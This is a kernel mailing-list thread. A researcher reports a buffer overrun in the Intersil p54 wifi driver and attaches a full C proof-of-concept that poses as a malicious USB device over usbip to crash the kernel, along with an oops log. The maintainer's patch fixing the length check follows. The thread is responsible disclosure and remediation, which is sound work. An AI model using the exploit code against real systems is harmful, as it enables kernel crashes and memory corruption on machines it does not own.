linux-wireless.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* potential buffer overrun in p54_rx_eeprom_readback()
@ 2025-05-14 21:33 rtm
  2025-05-16 18:41 ` [PATCH net v1] wifi: p54: prevent buffer-overflow " Christian Lamparter
  0 siblings, 1 reply; 2+ messages in thread
From: rtm @ 2025-05-14 21:33 UTC (permalink / raw)
  To: Christian Lamparter; +Cc: linux-wireless

[-- Attachment #1: Type: text/plain, Size: 3255 bytes --]

If a malicious USB device pretends to be an Intersil p54 wifi
interface and generates an eeprom_readback message with a large
eeprom->v1.len, p54_rx_eeprom_readback() will copy data from the
message beyond the end of priv->eeprom.

static void p54_rx_eeprom_readback(struct p54_common *priv,
                                   struct sk_buff *skb)
{
        struct p54_hdr *hdr = (struct p54_hdr *) skb->data;
        struct p54_eeprom_lm86 *eeprom = (struct p54_eeprom_lm86 *) hdr->data;

        if (priv->fw_var >= 0x509) {
                memcpy(priv->eeprom, eeprom->v2.data,
                       le16_to_cpu(eeprom->v2.len));
        } else {
                memcpy(priv->eeprom, eeprom->v1.data,
                       le16_to_cpu(eeprom->v1.len));
        }


priv->eeprom is allocated in p54_read_eeprom() with length 0x2020.

I've attached a demo, using usbip, that puts 0xffff in eeprom->v1.len.

#  uname -a
Linux xxx 6.15.0-rc5-00136-g9c69f8884904 #20 SMP PREEMPT_DYNAMIC Wed May 14 16:45:28 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbis2c.c
# ./a.out
[  144.779715] ieee80211 phy1: unexpected end of eeprom data.
[  144.780624] ieee80211 phy1: eeprom parse failed!
[  146.100021] p54usb 1-1:1.0: failed to initialize device (-61)
[  146.101718] BUG: kernel NULL pointer dereference, address: 0000000000000010
[  146.102814] #PF: supervisor read access in kernel mode
[  146.103629] #PF: error_code(0x0000) - not-present page
[  146.104438] PGD 0 P4D 0
[  146.104862] Oops: Oops: 0000 [#1] SMP PTI
[  146.105514] CPU: 2 UID: 0 PID: 448 Comm: systemd-udevd Not tainted 6.15.0-rc5-00136-g9c69f8884904 #20 PREEMPT(voluntary)
[  146.106265] Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
[  146.106608] RIP: 0010:selinux_socket_sendmsg+0x55/0xe0
[  146.106926] Code: 00 00 48 89 d7 49 8b b0 90 02 00 00 48 c7 44 24 08 00 00 00 00 48 c7 44 24 10 00 00 00 00 48 c7 44 24 18 00 00 0
0 00 f3 48 ab <8b> 4e 10 83 f9 01 74 64 0f b6 3d f6 f2 10 02 40 80 ff 01 74 05 83
[  146.107900] RSP: 0018:ffff8bea407e3c48 EFLAGS: 00010246
[  146.108181] RAX: 0000000000000000 RBX: ffff89f60736b4c0 RCX: 0000000000000000
[  146.108560] RDX: ffff8bea407e3c68 RSI: 0000000000000000 RDI: ffff8bea407e3ca0
[  146.108947] RBP: ffff8bea407e3ea0 R08: ffff89f602643e00 R09: 000000007ffff000
[  146.109332] R10: 000000007fffee68 R11: 00007ffffffff000 R12: 0000000000000199
[  146.109715] R13: ffff8bea407e3cd8 R14: ffff89f60736b4c0 R15: ffff8bea407e3cd8
[  146.110104] FS:  00007f47e33128c0(0000) GS:ffff89f973551000(0000) knlGS:0000000000000000
[  146.110530] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  146.110837] CR2: 0000000000000010 CR3: 0000000107698001 CR4: 00000000003706f0
[  146.111202] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  146.111564] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  146.111930] Call Trace:
[  146.112069]  <TASK>
[  146.112190]  security_socket_sendmsg+0x37/0x50
[  146.112428]  ____sys_sendmsg+0x235/0x330
[  146.112639]  ___sys_sendmsg+0x94/0xe0
[  146.112843]  ? stack_depot_save_flags+0x29/0x7f0
[  146.113096]  __sys_sendmsg+0x81/0xe0
[  146.113289]  do_syscall_64+0x9e/0x1a0
[  146.113490]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

Robert Morris
rtm@mit.edu


[-- Attachment #2: usbis2c.c --]
[-- Type: application/octet-stream, Size: 16029 bytes --]

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>

unsigned int vendor = 0x413c;
unsigned int product = 0x8104;

struct op_common {
  unsigned short version;
  unsigned short code;
  unsigned int status;
};

struct usbip_usb_device {
	char path[256];
	char busid[32];

	uint32_t busnum;
	uint32_t devnum;
	uint32_t speed;

	uint16_t idVendor;
	uint16_t idProduct;
	uint16_t bcdDevice;

	uint8_t bDeviceClass;
	uint8_t bDeviceSubClass;
	uint8_t bDeviceProtocol;
	uint8_t bConfigurationValue;
	uint8_t bNumConfigurations;
	uint8_t bNumInterfaces;
} __attribute__((packed));

struct usbip_header_basic {
  unsigned int command;
  unsigned int seqnum;
  unsigned int devid;
  unsigned int direction;
  unsigned int ep;
};

struct usbip_header_cmd_submit {
  unsigned int transfer_flags;
  int transfer_buffer_length;
  int start_frame;
  int number_of_packets;
  int interval;
  unsigned char setup[8];
};

struct usbip_header_ret_submit {
  int status;
  int actual_length;
  int start_frame;
  int number_of_packets;
  int error_count;
};

int
readable(int fd)
{
  fd_set readfds;
  FD_ZERO(&readfds);
  FD_SET(fd, &readfds);
  struct timeval tv;
  tv.tv_sec = 2;
  tv.tv_usec = 0;
  int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
  return FD_ISSET(fd, &readfds);
}

int
readn(int fd, void *xbuf, int n)
{
  char *buf = xbuf;
  int got = 0;
  while(got < n){
    if(readable(fd) == 0){
      printf("usbip0: timeout\n");
      return -1;
    }
    int cc = read(fd, buf+got, n-got);
    if(cc <= 0){
      perror("usbip0: read");
      return -1;
    }
    got += cc;
  }
  return got;
}

void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
  char *p = *xp;

  // usb_interface_descriptor
  *p++ = 9; // bLength
  *p++ = 4; // bDescriptorType USB_DT_INTERFACE
  *p++ = num; // bInterfaceNumber
  *p++ = alt; // bAlternateSetting
  *p++ = eps; // bNumEndpoints
  *p++ = cl; // bInterfaceClass
  *p++ = subcl; // bInterfaceSubClass
  *p++ = proto; // bInterfaceProtocol
  *p++ = iff; // iInterface

  *xp = p;
}

void
mkad(char **xp, int type, int subtype)
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype
  
  if(type == 36 && subtype == 1){
    // AS_GENERAL
    *p++ = 1; // bTerminalLink
    *p++ = 1; // bDelay
    *p++ = 1; // wFormatTag PCM
    p++;
  } else if(type == 36 && subtype == 2){
    // FORMAT_TYPE
    *p++ = 1; // bFormatType
    *p++ = 2; // bNrChannels
    *p++ = 3; // bSubframeSize
    *p++ = 24; // bBitResolution
    *p++ = 2; // bSamFreqType 
    *p++ = 2; // bSamFreqType 
    p += 5;
  } else {
    *p++ = 0; // bcdADC
    *p++ = 1;
    *(short*)p = 0x5f; // wTotalLength
    p += 2;
    *p++ = 2; // bInCollection
    *p++ = 1; // baInterfaceNr(0)
    *p++ = 2; // baInterfaceNr(1)
  }

  *(*xp) = p - (*xp); // bLength

  *xp = p;
}

void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
  char *p = *xp;

  // Additional Descriptor

  *p++ = 0; // bLength (filled in later)
  *p++ = type; // bDescriptorType
  *p++ = subtype; // bDescriptorSubtype

  for(int i = 0; i < len - 3; i++)
    *p++ = a[i];

  *(*xp) = p - (*xp); // bLength
  *xp = p;
}

void
mkep(char **xp, int epa, int attr, int maxp)
{
  char *p = *xp;

  // usb_endpoint_descriptor
  *p++ = 9;
  *p++ = 5; // bDescriptorType USB_DT_ENDPOINT
  *p++ = epa; // bEndpointAddress
  *p++ = attr; // bmAttributes 0=ctl 1=isoc 2=bulk 3=int
  *(short*)p = maxp; // wMaxPacketSize
  p += 2;
  *p++ = 7; // bInterval
  p += 2; // ???

  *xp = p;
}

int s1;

//
// reply to a previous request
//
void
reply(struct usbip_header_basic *ibh, int translen, char *obuf)
{
  struct usbip_header_basic obh;
  memset(&obh, 0, sizeof(obh));
  if(ntohl(ibh->command) == 2){
    // USBIP_CMD_UNLINK
    obh.command = htonl(4); // USBIP_RET_UNLINK
  } else {
    // USBIP_CMD_SUBMIT
    obh.command = htonl(3); // USBIP_RET_SUBMIT
  }
  obh.seqnum = ibh->seqnum;
  obh.devid = ibh->devid;
  obh.direction = htonl(!ntohl(ibh->direction));
  obh.ep = ibh->ep;
  write(s1, &obh, sizeof(obh));
  
  char rsbuf[sizeof(struct usbip_header_cmd_submit)];
  memset(rsbuf, 0, sizeof(rsbuf));
  struct usbip_header_ret_submit *rs = (void*)rsbuf;
  rs->actual_length = htonl(translen);
  write(s1, rs, sizeof(rsbuf));
  
  if(obuf){
    write(s1, obuf, translen);
  }
}

double
now()
{
  struct timeval tv;
  gettimeofday(&tv, 0);
  return tv.tv_sec + tv.tv_usec / 1000000.0;
}

int
main(int argc, char *argv[])
{
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int port = 3240;
  int s, yes = 1;
  struct sockaddr_in sin;

  system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
  //system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");

  system("killall usbip");
  sleep(1);

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s < 0){
    perror("socket");
    exit(1);
  }

  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));

  if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
    perror("usbxxx: bind");
    exit(1);
  }

  if(listen(s, 3000) < 0){
    perror("usbxxx: listen");
    exit(1);
  }

  system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
  sleep(2);
  sync();
  sleep(1);

  unsigned sinlen = sizeof(sin);
  s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
  if(s1 < 0){
    perror("accept");
    exit(1);
  }
  close(s);
  
  struct op_common op;
  
  // OP_REQ_IMPORT
  readn(s1, &op, sizeof(op));
  //printf("version 0x%x code 0x%x status 0x%x\n", 
  //       op.version, op.code, op.status);
  
  char busid[32];
  readn(s1, busid, sizeof(busid));
  
  op.code = htons(0x03); // OP_REP_IMPORT
  op.status = htonl(0); // ST_OK
  
  write(s1, &op, sizeof(op));
  
  struct usbip_usb_device uud;
  memset(&uud, 0, sizeof(uud));
  strcpy(uud.busid, busid);
  //uud.speed = htonl(2); // USB_SPEED_FULL
  uud.speed = htonl(3); // USB_SPEED_HIGH
  //uud.speed = htonl(5); // USB_SPEED_SUPER
  
  write(s1, &uud, sizeof(uud));
  
  // now talking to the kernel

  int cmdno = 0;

  
  int done = 0;
  int do_tx = 0;
  int do_eeprom = 0;

  unsigned char cmd21[8192];
  memset(cmd21, 0, sizeof(cmd21));
  int n21 = 0;

  // remember posted reads on each endpoint.
  struct EPQ {
#define NPENDING 512
    struct usbip_header_basic q[NPENDING];
    int w;
    int r;
    double last;
  } epq[16];
  memset(epq, 0, sizeof(epq));

  time_t last_real;
  time(&last_real);

  while(done == 0){
    struct usbip_header_basic ibh;
    if(readn(s1, &ibh, sizeof(ibh)) < 0)
      break;

    if(ntohl(ibh.command) == 1){
      // USBIP_CMD_SUBMIT
      struct usbip_header_cmd_submit cs;
      memset(&cs, 0, sizeof(cs));
      if(readn(s1, &cs, sizeof(cs)) < 0)
        break;
      
      int translen = ntohl(cs.transfer_buffer_length);
      unsigned int ep = ntohl(ibh.ep);

      if(ep != 1 && ep != 2){
        time(&last_real);
      }

      time_t now;
      time(&now);
      if(now - last_real > 10){
        printf("usbmtaX: too long since last_real\n");
        goto out;
      }

      if(ibh.direction == 0){
        //
        // driver wants to write to usb device
        //
        
        char ibuf[32*1024];
        assert(translen <= sizeof(ibuf));
        if(readn(s1, ibuf, translen) < 0)
          break;

        if(ep == 1 && (translen == 1048 || translen == 128)){
          // this seems to indicate the driver
          // wants a control packet.
          // maybe the driver is reading the EEPROM.
          do_eeprom += 1;
        }

        reply(&ibh, translen, NULL);
      } else {
        //
        // driver wants to read from usb device
        //

        char obuf[8192];
        if(translen > sizeof(obuf)){
          printf("huge translen %d on ep 0\n", translen);
          break;
        }
        memset(obuf, 0, sizeof(obuf));
        char *p = obuf;
        
        if(ep == 0x0e){
          static int n0e = 0;

          *(int*)(obuf+0) = 4 | 3; // DONE | READY

          reply(&ibh, translen, obuf);
          n0e += 1;
        } else if(ep == 0x0f){
          reply(&ibh, translen, obuf);
        } else if(ep == 0 || ep == 0x0d){
          //
          // control endpoint, answer immediately
          //
          
          if(cs.setup[1] == 0x06){
            // USB_REQ_GET_DESCRIPTOR
            if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
              // USB_DT_DEVICE
              // struct usb_device_descriptor
              obuf[0] = 18; // bLength
              obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
              obuf[2] = 0x20; // bcdUSB
              obuf[3] = 0x03; // bcdUSB
              obuf[4] = 0xff; // bDeviceClass
              obuf[5] = 0; // bDeviceSubClass
              obuf[6] = 0; // bDeviceProtocol
              obuf[7] = 64; // bMaxPacketSize0
              *(short*)(obuf+8) = vendor; // idVendor
              *(short*)(obuf+10) = product; // idProduct 
              obuf[12] = 0; // bcdDevice
              obuf[13] = 1; // bcdDevice
              obuf[14] = 2; // iManufacturer
              obuf[15] = 3; // iProduct
              obuf[16] = 1; // iSerial
              obuf[17] = 1; // bNumConfigurations
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
              // USB_DT_CONFIG
              // struct usb_config_descriptor
              *p++ = 9; // bLength
              *p++ = 2; // USB_DT_CONFIG
              short *lenp = (short*) p;
              *(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
              p += 2;
              *p++ = 1; // bNumInterfaces
              *p++ = 1; // bConfigurationValue
              *p++ = 0; // iConfiguration
              *p++ = 0x80; // bmAttributes
              *p++ = 1; // bMaxPower
              
              // mkif(&p, num, alt, eps, cl, subcl, proto, iff)
              
              mkif(&p, 0, 0, 9, 0xff, 2, 0xff, 0);
              mkep(&p, 0x81, 0x02, 0x0200); // DATA
              mkep(&p, 0x01, 0x02, 0x0200); 
              mkep(&p, 0x82, 0x02, 0x0200); // MGMT
              mkep(&p, 0x02, 0x02, 0x0200);
              mkep(&p, 0x8d, 0x02, 0x0200); // BRG
              mkep(&p, 0x0d, 0x02, 0x0200);
              mkep(&p, 0x8e, 0x02, 0x0200); // DEV
              mkep(&p, 0x0e, 0x02, 0x0200);
              mkep(&p, 0x8f, 0x03, 0x0200); // INT
              
              assert(p - obuf <= sizeof(obuf));
              *lenp = p - obuf;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
              // USB_DT_BOS
              // struct usb_bos_descriptor
              *p++ = 5; // bLength
              *p++ = 15;
              *(short*)p = 0x002a; // wTotalLength
              p += 2;
              *p++ = 3; // bNumDeviceCaps
              // usb_ext_cap_descriptor
              *p++ = 7; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 2; // bDevCapabilityType
              *(int*)p = 0x0000f41e; // bmAttributes
              p += 4;
              // usb_ss_cap_descriptor
              *p++ = 10; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 3; // bDevCapabilityType
              *p++ = 0; // bmAttributes
              *(short*)p = 0xe; // wSpeedsSupported
              p += 2;
              *p++ = 1; // bFunctionalitySupport
              *p++ = 10; // bU1devExitLat
              *(short*)p = 2047; // bU2DevExitLat
              p += 2;
              // usb_ssp_cap_descriptor
              *p++ = 20; // bLength
              *p++ = 16; // bDescriptorType
              *p++ = 10; // bDevCapabilityType
              *p++ = 0; // bReserved
              *(int*)p = 0; // bmAttributes
              p += 4;
              *(short*)p = 1; // bFunctionalitySupport
              p += 2;
              p += 2; // wReserved
              *(int*)p = 0x000a4030;
              p += 4;
              *(int*)p = 0x000a40b0;
              p += 4;
            } else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
              // USB_DT_STRING
              *p++ = 6; // length
              *p++ = 3; // descriptor type
              *p++ = 'a';
              *p++ = 'b';
              *p++ = 'c';
              *p++ = 'd';
            }
          }
          
          unsigned char *ibuf = cs.setup;

          if(ibuf[0] == 0xc1){
            // register read

            if(ibuf[1] == 5){
              // DL_GETVER
              unsigned int *ip = (void *) obuf;
              ip[0] = 0xA123; // chip id -- firmware already loaded
              ip[1] = 0; // chip rev
            }

          }

          if(ibuf[0] == 0xa1){
            // driver is asking for reply to previous 0x21
            // struct brcmf_proto_bcdc_dcmd
            // first 4 bytes is command
            //   1 GET_VERSION
            //   2 UP
            //  10 SET_PROMISC
            //  98 GET_REVINFO
            // 140 GET_BANDLIST
            // 185 SET_SCAN_CHANNEL_TIME
            // 187 SET_SCAN_UNASSOC_TIME
            // 262 GET_VAR
            // 263 SET_VAR
            int cmd = *(int*)(cmd21+0);
            int ns = 0;
            memcpy(obuf, cmd21, 16);

            if(cmd == 262){
              char *var = cmd21+16;
              if(strcmp(var, "cur_etheraddr") == 0){
                obuf[17] = 2;
              } else if(strcmp(var, "ver") == 0){
                strcpy(obuf+16, "00 00");
              } else if(strcmp(var, "chanspecs") == 0){
                *(int*)(obuf+16+0) = 1; // count
              }
            } else if(cmd == 140){
              // band list
              *(int*)(obuf+16+0) = 1; // n_bands
              *(int*)(obuf+16+4) = 2; // 2.4 ghz
            }

          }

          reply(&ibh, translen, obuf);
        }

        if(ep == 1){
          //
          // ep wants data or control packets.
          // save the read requests until we want to reply
          //
          if(epq[ep].w >= NPENDING){
            printf("too many pending for ep %d!\n", ep);
            goto out;
          }
          epq[ep].q[epq[ep].w++] = ibh;
        }
        
      }
    } else if(ntohl(ibh.command) == 2){
      // USBIP_CMD_UNLINK
      // struct usbip_header_cmd_unlink uh;
      char buf[sizeof(struct usbip_header_cmd_submit)];
      memset(buf, 0, sizeof(buf));
      if(readn(s1, buf, sizeof(buf)) < 0)
        break;
      unsigned int uh = *(int*)buf;;
      printf("unlink seq %d\n", ntohl(uh));

      //goto out;

      reply(&ibh, 0, NULL);
    }

    for(int i = 1; i < 12; i++){
      if(do_eeprom > 0 && i == 1 && epq[i].r < epq[i].w){
        static int nth = 0;
        char obuf[40];
        memset(obuf, 0, sizeof(obuf));
        int nout = sizeof(obuf);
        
        *(short*)(obuf+16) |= (1 << 15); // P54_HDR_FLAG_CONTROL
        *(short*)(obuf+16+8) |= 12; // type=EEPROM_READBACK

        char *p = obuf + 16 + 12; // start of EEPROM header
        // struct p54_eeprom_lm86
        *(short*)(p+2) = 0xffff; // eeprom->v1.len

        p += 4; // start of EEPROM

        // struct pda_entry
        *(short*)(p+0) = 16; // entry->len
        *(short*)(p+2) = 0; // entry->code

        if(nth == 0){
          printf("sending EEPROM_READBACK: ");
          for(int i = 0; i < 40; i++)
            printf("%02x ", obuf[i] & 0xff);
          printf("\n");
        }

        reply(&epq[i].q[epq[i].r], nout, obuf);
        
        nth += 1;
        epq[i].r += 1;

        do_eeprom -= 1;
      }
    }

    cmdno += 1;

    if(cmdno > 2500){
      printf("too many cmds\n");
      done = 1;
    }
  }

  usleep(200000);
  close(s1);
  usleep(200000);
    

 out: 1;
}

^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net v1] wifi: p54: prevent buffer-overflow in p54_rx_eeprom_readback()
  2025-05-14 21:33 potential buffer overrun in p54_rx_eeprom_readback() rtm
@ 2025-05-16 18:41 ` Christian Lamparter
  0 siblings, 0 replies; 2+ messages in thread
From: Christian Lamparter @ 2025-05-16 18:41 UTC (permalink / raw)
  To: linux-wireless, netdev, linux-kernel, Robert Morris
  Cc: Kalle Valo, John W . Linville, stable, Robert Morris

Robert Morris reported:

|If a malicious USB device pretends to be an Intersil p54 wifi
|interface and generates an eeprom_readback message with a large
|eeprom->v1.len, p54_rx_eeprom_readback() will copy data from the
|message beyond the end of priv->eeprom.
|
|static void p54_rx_eeprom_readback(struct p54_common *priv,
|                                   struct sk_buff *skb)
|{
|        struct p54_hdr *hdr = (struct p54_hdr *) skb->data;
|        struct p54_eeprom_lm86 *eeprom = (struct p54_eeprom_lm86 *) hdr->data;
|
|        if (priv->fw_var >= 0x509) {
|                memcpy(priv->eeprom, eeprom->v2.data,
|                       le16_to_cpu(eeprom->v2.len));
|        } else {
|                memcpy(priv->eeprom, eeprom->v1.data,
|                       le16_to_cpu(eeprom->v1.len));
|        }
| [...]

The eeprom->v{1,2}.len is set by the driver in p54_download_eeprom().
The device is supposed to provide the same length back to the driver.
But yes, it's possible (like shown in the report) to alter the value
to something that causes a crash/panic due to overrun.

This patch addresses the issue by adding the size to the common device
context, so p54_rx_eeprom_readback no longer relies on possibly tampered
values... That said, it also checks if the "firmware" altered the value
and no longer copies them.

The one, small saving grace is: Before the driver tries to read the eeprom,
it needs to upload >a< firmware. the vendor firmware has a proprietary
license and as a reason, it is not present on most distributions by
default.

Cc: <stable@kernel.org>
Reported-by: Robert Morris <rtm@mit.edu>
Closes: https://lore.kernel.org/linux-wireless/28782.1747258414@localhost/
Fixes: 7cb770729ba8 ("p54: move eeprom code into common library")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>

---

First of all: Congratulation and Thank you! This is a great report.
the reprod. is the icing on the cake...
I guess you found more issues with p54, right?

From what I see, the first patch that introduced the "unchecked" buffer
overrun has a date of "Sep 1 22:48:51 2008 +0200"

I don't know who currently handles these patches, maybe netdev?
---
 drivers/net/wireless/intersil/p54/fwio.c |  2 ++
 drivers/net/wireless/intersil/p54/p54.h  |  1 +
 drivers/net/wireless/intersil/p54/txrx.c | 13 +++++++++----
 3 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/drivers/net/wireless/intersil/p54/fwio.c b/drivers/net/wireless/intersil/p54/fwio.c
index 772084a9bd8d..3baf8ab01e22 100644
--- a/drivers/net/wireless/intersil/p54/fwio.c
+++ b/drivers/net/wireless/intersil/p54/fwio.c
@@ -231,6 +231,7 @@ int p54_download_eeprom(struct p54_common *priv, void *buf,
 
 	mutex_lock(&priv->eeprom_mutex);
 	priv->eeprom = buf;
+	priv->eeprom_slice_size = len;
 	eeprom_hdr = skb_put(skb, eeprom_hdr_size + len);
 
 	if (priv->fw_var < 0x509) {
@@ -253,6 +254,7 @@ int p54_download_eeprom(struct p54_common *priv, void *buf,
 		ret = -EBUSY;
 	}
 	priv->eeprom = NULL;
+	priv->eeprom_slice_size = 0;
 	mutex_unlock(&priv->eeprom_mutex);
 	return ret;
 }
diff --git a/drivers/net/wireless/intersil/p54/p54.h b/drivers/net/wireless/intersil/p54/p54.h
index 522656de4159..aeb5e40cc5ef 100644
--- a/drivers/net/wireless/intersil/p54/p54.h
+++ b/drivers/net/wireless/intersil/p54/p54.h
@@ -258,6 +258,7 @@ struct p54_common {
 
 	/* eeprom handling */
 	void *eeprom;
+	size_t eeprom_slice_size;
 	struct completion eeprom_comp;
 	struct mutex eeprom_mutex;
 };
diff --git a/drivers/net/wireless/intersil/p54/txrx.c b/drivers/net/wireless/intersil/p54/txrx.c
index 8414aa208655..2deb1bb54f24 100644
--- a/drivers/net/wireless/intersil/p54/txrx.c
+++ b/drivers/net/wireless/intersil/p54/txrx.c
@@ -496,14 +496,19 @@ static void p54_rx_eeprom_readback(struct p54_common *priv,
 		return ;
 
 	if (priv->fw_var >= 0x509) {
-		memcpy(priv->eeprom, eeprom->v2.data,
-		       le16_to_cpu(eeprom->v2.len));
+		if (le16_to_cpu(eeprom->v2.len) != priv->eeprom_slice_size)
+			return;
+
+		memcpy(priv->eeprom, eeprom->v2.data, priv->eeprom_slice_size);
 	} else {
-		memcpy(priv->eeprom, eeprom->v1.data,
-		       le16_to_cpu(eeprom->v1.len));
+		if (le16_to_cpu(eeprom->v1.len) != priv->eeprom_slice_size)
+			return;
+
+		memcpy(priv->eeprom, eeprom->v1.data, priv->eeprom_slice_size);
 	}
 
 	priv->eeprom = NULL;
+	priv->eeprom_slice_size = 0;
 	tmp = p54_find_and_unlink_skb(priv, hdr->req_id);
 	dev_kfree_skb_any(tmp);
 	complete(&priv->eeprom_comp);
-- 
2.49.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2025-05-16 18:41 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-05-14 21:33 potential buffer overrun in p54_rx_eeprom_readback() rtm
2025-05-16 18:41 ` [PATCH net v1] wifi: p54: prevent buffer-overflow " Christian Lamparter

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).